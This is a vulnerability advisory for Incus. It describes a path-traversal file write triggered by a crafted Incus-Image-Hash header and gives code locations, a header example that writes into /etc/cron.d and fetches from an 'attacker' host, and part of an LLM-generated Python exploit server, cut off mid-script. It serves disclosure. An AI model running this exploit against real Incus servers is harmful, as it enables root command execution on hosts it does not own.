Incus has an arbitrary file write on its client due to trusted image hash
Summary
An arbitrary file write exists in the Incus client when a malicious image server returns a crafted Incus-Image-Hash header. This can lead to arbitrary command execution as root on the server.
Details
cmd/incusd/images.go:611-684 handles source.type=url by HEADing the user-supplied URL, reading Incus-Image-Hash and Incus-Image-URL, and passing them to imageDownload() as Alias and Server.cmd/incusd/daemon_images.go:91-92 defaults fp to the caller-controlled alias string.cmd/incusd/daemon_images.go:333-335 builds destName := filepath.Join(destDir, fp).cmd/incusd/daemon_images.go:469-523 enters the direct protocol branch, opens destName with os.Create(), and copies the HTTP response into that file.cmd/incusd/daemon_images.go:528-532 validates the SHA-256 only after the file has already been created and populated.cmd/incusd/daemon_images.go:337-344 cleanup only runs after the copy returns; a slow or held response extends the arbitrary-write window.
A malicious image server returning something along the following will cause the arbitrary file write.
```
Incus-Image-Hash: ../../../../etc/cron.d/incus-direct-image-url-rce
Incus-Image-URL: http://attacker/payload
```
PoC
The script below creates a malicious image server and requests an Incus server to fetch the image. File write occurs when the image is unpacked.
The following script was generated by an LLM.
```
#!/usr/bin/env python3
"""Direct image URL hash path traversal to transient host cron write.
For source.type=url, Incus first HEADs an attacker-controlled URL and trusts the Incus-Image-Hash header as the expected fingerprint. The direct download path then creates /var/lib/incus/images/<hash> before validating that the hash is a real SHA-256 of the downloaded bytes. A hash containing ../ escapes the image directory.
Default mode is dry-run. With --execute-trigger this script starts a tiny HTTP server, returns a traversal hash pointing at cron, streams the cron payload, and keeps the response open so the daemon-side cleanup does not immediately remove the file.
"""
from __future__ import annotations
import argparse
import http.client
import json
import shlex
import socket
import ssl
import sys
import threading
import time
import urllib.parse
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
from typing import Any
DEFAULT_SOCKET = "/var/lib/incus/unix.socket"
DEFAULT_TRAVERSAL = "../../../../etc/cron.d/incus-direct-image-url-rce"
class UnixHTTPConnection(http.client.HTTPConnection):
def __init__(self, socket_path: str, timeout: int = 120):
super().__init__("incus", timeout=timeout)
self.socket_path = socket_path
def connect(self) -> None:
sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
sock.settimeout(self.timeout)
sock.connect(self.socket_path)
self.sock = sock
class RCEHTTPServer(ThreadingHTTPServer):
hash_path: str
advertise_url: str
payload: bytes
hold_seconds: int
payload_requested: threading.Event
class DirectImageHandler(BaseHTTPRequestHandler):
protocol_version = "HTTP/1.1"
server_version = "direct-image-rce/1.0"
def log_message(self, fmt: str, *args: Any) -> None:
print(f"[http] {self.address_string()} - {fmt % args}", flush=True)
def do_HEAD(self) -> None:
if self.path != "/stage":
self.send_error(404)
return
srv = self.server
assert isinstance(srv, RCEHTTPServer)
self.send_response(200)
self.send_header("Incus-Image-Hash", srv.hash_path)
self.send_header("Incus-Image-URL", srv.advertise_url.rstrip("/") + "/payload")
self.send_header("Connection", "close")
self.end_headers()
def do_GET(self) -> None:
if self.path != "/payload":
self.send_error(404)
return
srv = self.server
assert isinstance(srv, RCEHTTPServer)
srv.payload_requested.set()
self.send_response(200)
self.send_header("Content-Type", "application/octet-stream")
self.send_header("Cache-Control", "no-store")
self.end_headers()
self.wfile.write(srv.payload)
self.wfile.flush()
print(f"[*] payload bytes written to daemon response; holding for {srv.hold_seconds}s", flush=True)
time.sleep(srv.hold_seconds)
self.close_connection = True
def quote(value: str) -> str:
return urllib.parse.quote(value, safe="")
def tls_context(args: argparse.Namespace) -> ssl.SSLContext:
if args.insecure:
ctx = ssl._create_unverified_context()
else:
ctx = ssl.create_default_context(cafile=args.cacert)
if args.cert:
ctx.load_cert_chain(args.cert, args.key)
return ctx
def connection(args: argparse.Namespace) -> http.client.HTTPConnection:
if args.url:
